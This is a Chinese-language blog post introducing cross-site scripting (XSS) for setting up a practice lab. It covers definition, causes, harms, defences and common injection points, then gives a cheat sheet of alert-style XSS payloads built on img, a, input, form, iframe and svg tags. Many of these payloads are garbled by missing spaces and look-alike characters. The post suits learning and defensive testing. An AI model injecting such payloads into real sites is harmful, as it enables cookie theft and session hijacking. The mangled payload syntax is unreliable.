前言:
本篇博客记录下XSS漏洞的相关知识,思考如何搭建XSS漏洞靶场环境。
1、XSS漏洞简介
1.1、什么是XSS
XSS全称跨站脚本(Cross Site Scripting),为避免与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故缩写为XSS。这是一种将任意 Javascript 代码插入到其他Web用户页面里执行以达到攻击目的的漏洞。攻击者利用浏览器的动态展示数据功能,在HTML页面里嵌入恶意代码。当用户浏览改页时,这些潜入在HTML中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的,如 cookie窃取等。
1.2、XSS产生原因、漏洞原理
形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致“精心构造”的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害。
1.3、XSS会造成那些危害?
攻击者通过Web应用程序发送恶意代码,一般以浏览器脚本的形式发送给不同的终端用户。当一个Web程序的用户输入点没有进行校验和编码,将很容易的导致XSS。
1、网络钓鱼,包括获取各类用户账号
2、窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作;
3、劫持用户(浏览器)会话,从而执行任意操作,例如非法转账、强制发表日志、电子邮件等
4、强制弹出广告页面、刷流量等
5、网页挂马;
6、进行恶意操作,如任意篡改页面信息、删除文章等
7、进行大量的客户端攻击,如ddos等
8、获取客户端信息,如用户的浏览历史、真实p、开放端口等
9、控制受害者机器向其他网站发起攻击;
10、结合其他漏洞,如csrf,实施进步危害;
11、提升用户权限,包括进一步渗透网站
12、传播跨站脚本蠕虫等
1.4、XSS的防御
形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致“精心构造”的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理: 输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入; 输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
1.5、XSS常见出现的地方
1、数据交互的地方
get、post、cookies、headers
反馈与浏览
富文本编辑器
各类标签插入和自定义
2、数据输出的地方
用户资料
关键词、标签、说明
文件上传
1.6、常见标签及利用方式
-
<img>
标签利用方式1
<imgsrc=javascript:alert("xss")>
<IMGSRC=javascript:alert(String.formCharCode(88,83,83))>
<imgscr="URL"style='Xss:expression(alert(/xss));'
imgSTYLE=“background-image:url(javascript:alert(‘XSS’))”
利用方式2
<imgsrc="x"οnerrοr=alert(1)>
<imgsrc="1"οnerrοr=eval("alert('xss')")>
利用方式3
<imgsrc=1onmouseover=alert('xss')>
<a>
标签
标准格式
<ahref="https://www.baidu.com">baidu</a>
XSS利用方式1
<ahref="javascript:alert('xss')">aa</a> <ahref=javascript:eval(alert('xss'))>aa</a> <ahref="javascript:aaa"οnmοuseοver="alert(/xss/)">aa</a>
XSS利用方式2
<script>alert('xss')</script>
利用方式3
<ahref=""οnclick=eval(alert('xss'))>aa</a>
利用方式4
<ahref=kycg.asp?ttt=1000οnmοuseοver=prompt('xss')y=2016>aa</a>
- input标签
标准格式
<inputname="name"value="">
利用方式1
<inputvalue=""onclick=alert('xss')type="text">
利用方式2
<inputname="name"value=""onmouseover=prompt('xss')bad="">
利用方式4
<inputname="name"value=""><script>alert('xss')</script>
<form>
标签
XSS利用方式1
<formaction=javascript:alert('xss')method="get"> <formaction=javascript:alert('xss')>
XSS利用方式2
<formmethod=postaction=aa.asp?onmouseover=prompt('xss')> <formmethod=postaction=aa.asp?onmouseover=alert('xss')> <formaction=1onmouseover=alert('xss)>
XSS利用方式3
<formmethod=postaction="data:text/html;base64,<script>alert('xss')</script>"> <formmethod=postaction="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe>
标签
XSS利用方式1
<iframesrc=javascript:alert('xss');height=5width=1000/><iframe>
XSS利用方式2
<iframesrc="data:text/html,<script>alert('xss')</script>"></iframe>
<iframesrc="data:text/html;base64,<script>alert('xss')</script>">
<iframesrc="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
XSS利用方式3
<iframesrc="aaa"onmouseover=alert('xss')/><iframe>
XSS利用方式3
<iframesrc="javascript:prompt(`xss`)"></iframe>
svg<>
标签
<svgοnlοad=alert(1)>